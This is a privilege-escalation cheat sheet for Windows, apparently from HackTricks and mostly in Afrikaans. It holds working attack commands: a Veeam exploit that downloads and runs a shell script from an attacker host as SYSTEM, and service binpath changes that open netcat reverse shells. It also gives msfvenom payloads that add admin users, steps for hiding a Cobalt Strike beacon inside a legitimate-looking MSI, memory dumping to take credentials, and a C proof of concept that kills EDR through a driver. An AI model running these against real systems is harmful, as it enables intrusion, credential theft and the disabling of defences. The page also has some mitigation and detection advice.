Windows Local Privilege Escalation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Aanvanklike Windows-teorie

Access Tokens

As jy nie weet wat Windows Access Tokens is nie, lees die volgende bladsy voordat jy voortgaan:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Kyk na die volgende bladsy vir meer inligting oor ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

As jy nie weet wat integrity levels in Windows is nie, behoort jy die volgende bladsy te lees voordat jy voortgaan:

Integrity Levels

Windows-sekuriteitskontroles

Daar is verskillende dinge in Windows wat jou kan prevent you from enumerating the system, uitvoerbare programme kan blokkeer of selfs jou detect your activities. Jy moet die volgende page read en al hierdie defenses mechanisms enumerate voordat jy met die privilege escalation enumeration begin:

Windows Security Controls

Stelselinligting

Weergawe-inligting enumeration

Kyk of die Windows-weergawe enige bekende kwetsbaarheid het (kontroleer ook watter patches toegepas is).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Weergawe-exploits

Hierdie webwerf is handig vir die soektog na gedetailleerde inligting oor Microsoft se sekuriteitskwesbaarhede. Hierdie databasis het meer as 4,700 sekuriteitskwesbaarhede, wat die enorme aanvalsoppervlak toon wat ’n Windows-omgewing bied.

Op die stelsel

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas het watson ingebed)

Lokaal met stelsel-inligting

Github repos van exploits:

Omgewing

Is daar enige inlogbewyse/sappige inligting gestoor in die omgewingsvariabeles?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell Geskiedenis

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Transkripsie-lêers

Jy kan leer hoe om dit aan te skakel by https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Die besonderhede van PowerShell-pyplynuitvoerings word aangeteken, insluitend uitgevoerde opdragte, opdragaanroepe en dele van skripte. Volledige uitvoeringbesonderhede en uitsetresultate word egter moontlik nie vasgelê nie.

Om dit te aktiveer, volg die instruksies in die “Transcript files” afdeling van die dokumentasie, en kies “Module Logging” in plaas van “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Om die laaste 15 events uit die Powershell logs te sien, kan jy uitvoer:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

’n Volledige aktiwiteits- en inhoudsregister van die script se uitvoering word vasgelê, wat verseker dat elke kodeblok gedokumenteer word terwyl dit loop. Hierdie proses bewaar ’n omvattende ouditspoor van elke aktiwiteit, waardevol vir forensics en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteit tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Gebeure vir die Script Block kan in die Windows Event Viewer gevind word by die pad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Om die laaste 20 gebeure te sien, kan jy die volgende gebruik:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internetinstellings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Skywe

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Jy kan die stelsel kompromitteer as die opdaterings nie via httpS aangevra word nie, maar via http.

Jy begin deur te kontroleer of die netwerk ’n non-SSL WSUS update gebruik deur die volgende in cmd uit te voer:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Of die volgende in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

As jy ’n antwoord kry soos een van hierdie:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

En as HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer of Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gelyk is aan 1.

Dan, is dit uitbuitbaar. As die laaste registerwaarde gelyk is aan 0, sal die WSUS-invoer geïgnoreer word.

Om hierdie kwesbaarhede uit te buit kan jy instrumente soos gebruik: Wsuxploit, pyWSUS — dit is MiTM weaponized exploit-skripte om ‘vals’ opdaterings in nie-SSL WSUS-verkeer in te spuit.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basies is dit die fout wat hierdie bug uitbuit:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

Jy kan hierdie kwetsbaarheid uitbuit met die hulpmiddel WSUSpicious (sodra dit vrygestel is).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Baie ondernemingsagenten gee ’n localhost IPC-oppervlak en ’n geprivilegieerde opdateringskanaal bloot. As registrasie gedwing kan word na ’n aanvallerserver en die updater ’n rogue root CA of swak ondertekenaarskontroles vertrou, kan ’n plaaslike gebruiker ’n kwaadwillige MSI lewer wat die SYSTEM-diens installeer. Sien ’n gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc-ketting – CVE-2025-0309) hier:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 maak ’n localhost-diens op TCP/9401 beskikbaar wat aanvallers-gekontroleerde boodskappe verwerk, wat arbitraire opdragte as NT AUTHORITY\SYSTEM toelaat.

  • Recon: bevestig die luisteraar en weergawe, bv., netstat -ano | findstr 9401 en (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: plaas ’n PoC soos VeeamHax.exe met die vereiste Veeam DLLs in dieselfde gids, en triggereer dan ’n SYSTEM-payload oor die plaaslike sok:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Die diens voer die opdrag as SYSTEM uit.

KrbRelayUp

Daar bestaan ’n local privilege escalation kwesbaarheid in Windows domain omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar LDAP signing is not enforced, gebruikers beskik oor self-regte wat hulle toelaat om Resource-Based Constrained Delegation (RBCD), te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om op te let dat hierdie vereistes voldoen word met standaardinstellings.

Vind die exploit in https://github.com/Dec0ne/KrbRelayUp

Vir meer inligting oor die verloop van die attack, kyk https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

As hierdie 2 registersleutels geaktiveer is (waarde is 0x1), kan gebruikers met enige bevoegdheid *.msi-lêers installeer (uitvoer) as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

As jy ’n meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die module exploit/windows/local/always_install_elevated

PowerUP

Gebruik die Write-UserAddMSI-opdrag van power-up om in die huidige gids ’n Windows MSI-binarie te skep om privilegies te eskaleer. Hierdie script skryf ’n vooraf-gekompileerde MSI-installer uit wat vir ’n gebruiker/groep toevoeging vra (so sal jy GIU-toegang nodig hê):

Write-UserAddMSI

Voer net die gemaakte binary uit om voorregte te eskaleer.

MSI Wrapper

Lees hierdie tutoriaal om te leer hoe om ’n MSI wrapper te skep met hierdie tools. Let daarop dat jy ’n “.bat” lêer kan omsluit as jy just net wil execute command lines

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Genereer met Cobalt Strike of Metasploit ’n new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Maak Visual Studio oop, kies Create a new project en tik “installer” in die soekboks. Kies die Setup Wizard projek en klik Next.
  • Gee die projek ’n naam, soos AlwaysPrivesc, gebruik C:\privesc vir die ligging, kies place solution and project in the same directory, en klik Create.
  • Klik voort op Next totdat jy by stap 3 van 4 uitkom (choose files to include). Klik Add en kies die Beacon payload wat jy net gegenereer het. Klik dan Finish.
  • Beklemtoon die AlwaysPrivesc projek in die Solution Explorer en verander in die Properties die TargetPlatform van x86 na x64.
  • Daar is ander properties wat jy kan verander, soos die Author en Manufacturer, wat die geïnstalleerde app meer legitiem kan laat lyk.
  • Regs-kliek die projek en kies View > Custom Actions.
  • Regs-kliek Install en kies Add Custom Action.
  • Dubbelklik op Application Folder, kies jou beacon.exe lêer en klik OK. Dit sal verseker dat die beacon payload executed word sodra die installer run word.
  • Onder die Custom Action Properties, verander Run64Bit na True.
  • Laastens, build it.
  • As die waarskuwing File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' verskyn, maak seker jy stel die platform op x64.

MSI Installation

To execute the installation of the malicious .msi file in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Om hierdie kwesbaarheid uit te buit, kan jy gebruik: exploit/windows/local/always_install_elevated

Antivirus en Detektore

Ouditinstellings

Hierdie instellings bepaal wat aangeteken word, dus moet jy hierop let

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, is interessant om te weet waar die logs heen gestuur word

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS is ontwerp vir die bestuur van plaaslike Administrator-wagwoorde, wat verseker dat elke wagwoord uniek, gerandomiseer en gereeld opgedateer is op rekenaars wat by ’n domein aangesluit is. Hierdie wagwoorde word veilig gestoor in Active Directory en kan slegs deur gebruikers geraadpleeg word wat voldoende toestemmings deur ACLs verleen is, wat hulle toelaat om local admin passwords te sien indien gemagtig.

LAPS

WDigest

As dit aktief is, word plantekswagwoorde in LSASS gestoor (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA-beskerming

Vanaf Windows 8.1, het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) bekendgestel om pogings deur onbetroubare prosesse te blokkeer om sy geheue te lees of kode in te spuit, wat die stelsel verder beveilig.\ More info about LSA Protection here

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard is geïntroduseer in Windows 10. Die doel daarvan is om die credentials wat op ’n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash attacks.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials word geauthentiseer deur die Local Security Authority (LSA) en deur bedryfstelselkomponente gebruik. Wanneer ’n gebruiker se logon data deur ’n geregistreerde security package geauthentiseer word, word domain credentials vir die gebruiker gewoonlik gevestig.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Gebruikers & Groepe

Opnoem Gebruikers & Groepe

Jy moet nagaan of enige van die groepe waarvan jy deel interessante regte het

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Groepe met verhoogde bevoegdhede

As jy by ’n groep met verhoogde bevoegdhede behoort, kan jy dalk bevoegdhede eskaleer. Lees hier oor groepe met verhoogde bevoegdhede en hoe om dit te misbruik om bevoegdhede te eskaleer:

Privileged Groups

Token-manipulasie

Lees meer oor wat ’n token is op hierdie blad: Windows Tokens.
Kyk na die volgende blad om te leer oor interessante tokens en hoe om dit te misbruik:

Abusing Tokens

Ingelogde gebruikers / Sessies

qwinsta
klist sessions

Tuismappe

dir C:\Users
Get-ChildItem C:\Users

Wagwoordbeleid

net accounts

Kry die inhoud van die knipbord

powershell -command "Get-Clipboard"

Lopende Prosesse

Lêer- en vouertoestemmings

Eerstens, wanneer jy die prosesse lys, kyk vir wagwoorde binne die opdragreël van die proses.
Kontroleer of jy ’n lopende binêre kan oorskryf of skryfregte op die binêre vouer het om moontlike DLL Hijacking attacks uit te buit:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat loop; jy kan dit misbruik om privileges te eskaleer.

Kontroleer die permissies van die binêre lêers van prosesse

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Kontroleer die toestemmings van die vouers van die proses-binaries (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Jy kan ’n geheue-dump van ’n lopende proses skep met behulp van procdump van sysinternals. Dienste soos FTP het dikwels die credentials in clear text in geheue. Probeer om die geheue te dump en lees die credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Onveilige GUI-apps

Aansoeke wat as SYSTEM loop kan ’n gebruiker toelaat om ’n CMD te spawn, of directories te browse.

Voorbeeld: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”

Dienste

Service Triggers laat Windows ’n service begin wanneer sekere toestande voorkom (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Selfs sonder SERVICE_START-regte kan jy dikwels geprivilegieerde dienste begin deur hul triggers te aktiveer. Sien opsporing- en aktiveringstegnieke hier:

Service Triggers

Kry ’n lys van dienste:

net start
wmic service list brief
sc query
Get-Service

Permissies

Jy kan sc gebruik om inligting oor ’n diens te kry

sc qc <service_name>

Dit word aanbeveel om die binary accesschk van Sysinternals te hê om die vereiste bevoegdheidsvlak vir elke diens te kontroleer.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Dit word aanbeveel om te kontroleer of “Authenticated Users” enige diens kan wysig:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Jy kan accesschk.exe vir XP hier aflaai

Aktiveer diens

As jy hierdie fout kry (byvoorbeeld met SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Jy kan dit inskakel met

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Neem in ag dat die diens upnphost afhang van SSDPSRV om te werk (vir XP SP1)

Nog ’n ompad vir hierdie probleem is om die volgende uit te voer:

sc.exe config usosvc start= auto

Wysig die diens se binêre pad

In die scenario waar die “Authenticated users” groep SERVICE_ALL_ACCESS op ’n diens het, is wysiging van die diens se executable binary moontlik. Om te wysig en uit te voer sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Herbegin diens

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Voorregte kan via verskillende toestemmings opgestoot word:

  • SERVICE_CHANGE_CONFIG: Laat herkonfigurasie van die uitvoerbare lêer van die diens toe.
  • WRITE_DAC: Maak herkonfigurering van toestemmings moontlik, wat jou in staat stel om dienskonfigurasies te verander.
  • WRITE_OWNER: Gee die vermoë om eienaarskap te neem en toestemmings te herkonfigureer.
  • GENERIC_WRITE: Erf ook die vermoë om dienskonfigurasies te verander.
  • GENERIC_ALL: Erf ook die vermoë om dienskonfigurasies te verander.

Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die exploit/windows/local/service_permissions gebruik word.

Swakke toestemmings op diens-uitvoerbare lêers

Kontroleer of jy die binêre wat deur ’n diens uitgevoer word kan wysig of as jy skryf-toestemmings op die vouer waar die binêre geleë is (DLL Hijacking).
Jy kan elke binêre wat deur ’n diens uitgevoer word kry met wmic (not in system32) en jou toestemmings nagaan met icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Jy kan ook sc en icacls gebruik:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry wysig permissies

Jy moet nagaan of jy enige service registry kan wysig.
Jy kan jou permissies oor ’n service registry nagaan deur:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Daar moet nagegaan word of Authenticated Users of NT AUTHORITY\INTERACTIVE die FullControl toestemmings besit. Indien wel, kan die binary wat deur die service uitgevoer word, verander word.

Om die Path van die uitgevoerde binary te verander:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

As jy hierdie toestemming oor ’n registry het, beteken dit dat jy sub registries vanaf hierdie een kan skep. In die geval van Windows services is dit enough to execute arbitrary code:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

As die pad na ’n executable nie tussen aanhalingstekens staan nie, sal Windows probeer om elke gedeelte voor ’n spasie uit te voer.

Byvoorbeeld, vir die pad C:\Program Files\Some Folder\Service.exe sal Windows probeer om uit te voer:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Lys alle dienspade sonder aanhalingstekens, uitgesluit dié wat aan ingeboude Windows-dienste behoort:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Jy kan opspoor en exploit hierdie kwesbaarheid met metasploit: exploit/windows/local/trusted\_service\_path Jy kan handmatig ’n service binary met metasploit skep:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Herstelaksies

Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word indien ’n diens misluk. Hierdie funksie kan gekonfigureer word om na ’n binary te wys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die official documentation.

Toepassings

Geïnstalleerde Toepassings

Kontroleer die toestemmings van die binaries (miskien kan jy een oorskryf en escalate privileges) en van die mappe (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Skryftoestemmings

Kontroleer of jy ’n config file kan wysig om ’n spesiale lêer te lees, of jy ’n binary kan wysig wat deur ’n Administrator account uitgevoer gaan word (schedtasks).

Een manier om swak gids-/lêertoestemmings in die stelsel te vind, is om die volgende te doen:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Voer by opstart uit

Kontroleer of jy ’n registry of binary kan oorskryf wat deur ’n ander gebruiker uitgevoer gaan word.
Lees die volgende bladsy om meer te leer oor interessante autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drivers

Soek moontlike third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Indien ’n driver ’n arbitrary kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur ’n SYSTEM token direk uit kernel memory te steel. Sien die stap‑vir‑stap tegniek hier:

Arbitrary Kernel Rw Token Theft

Vir race-condition bugs waar die kwesbare oproep ’n deur die aanvaller beheerde Object Manager path oopmaak, kan die doelbewuste vertraging van die lookup (deur max-length components of deep directory chains te gebruik) die venster uitrek van mikrosekondes tot tientalle mikrosekondes:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Moderne hive vulnerabilities laat jou toe om deterministic layouts te groom, writable HKLM/HKU descendants misbruik, en metadata corruption omskep in kernel paged-pool overflows sonder ’n custom driver. Leer die volle ketting hier:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Sommige signed third‑party drivers skep hul device object met ’n sterk SDDL via IoCreateDeviceSecure maar vergeet om FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics te stel. Sonder hierdie vlag word die secure DACL nie afgedwing wanneer die device geopen word deur ’n pad wat ’n ekstra komponent bevat nie, wat enige unprivileged user toelaat om ’n handle te bekom deur ’n namespace path te gebruik soos:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (van ’n werklike geval)

Sodra ’n user die device kan open, kan privileged IOCTLs wat deur die driver blootgestel word, misbruik word vir LPE en tampering. Voorbeelde van vermoëns wat in die veld waargeneem is:

  • Gee full-access handles aan arbitrary processes terug (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Onbeperkte raw disk read/write (offline tampering, boot-time persistence tricks).
  • Beeindig arbitrary processes, insluitend Protected Process/Light (PP/PPL), wat AV/EDR kill vanuit user land via kernel toelaat.

Minimale PoC-patroon (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigasies vir ontwikkelaars

  • Stel altyd FILE_DEVICE_SECURE_OPEN in wanneer jy device objects skep wat bedoel is om deur ’n DACL beperk te word.
  • Valideer caller-konteks vir privileged operations. Voeg PP/PPL checks by voordat jy process termination of handle returns toelaat.
  • Beperk IOCTLs (access masks, METHOD_*, input validation) en oorweeg brokered models in plaas van direkte kernel privileges.

Opsporingsidees vir verdedigers

  • Moniteer user-mode opens van verdagte device names (bv., \ .\amsdk*) en spesifieke IOCTL-volgordes wat op misbruik dui.
  • Dwing Microsoft’s vulnerable driver blocklist af (HVCI/WDAC/Smart App Control) en onderhou jou eie allow/deny-lijste.

PATH DLL Hijacking

Indien jy write permissions inside a folder present on PATH het, kan jy moontlik ’n DLL wat deur ’n proses gelaai word hijack en escalate privileges.

Kontroleer permissies van alle vouers in PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Vir meer inligting oor hoe om hierdie kontrole te misbruik:

Writable Sys Path +Dll Hijacking Privesc

Netwerk

Gedeelde vouers

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
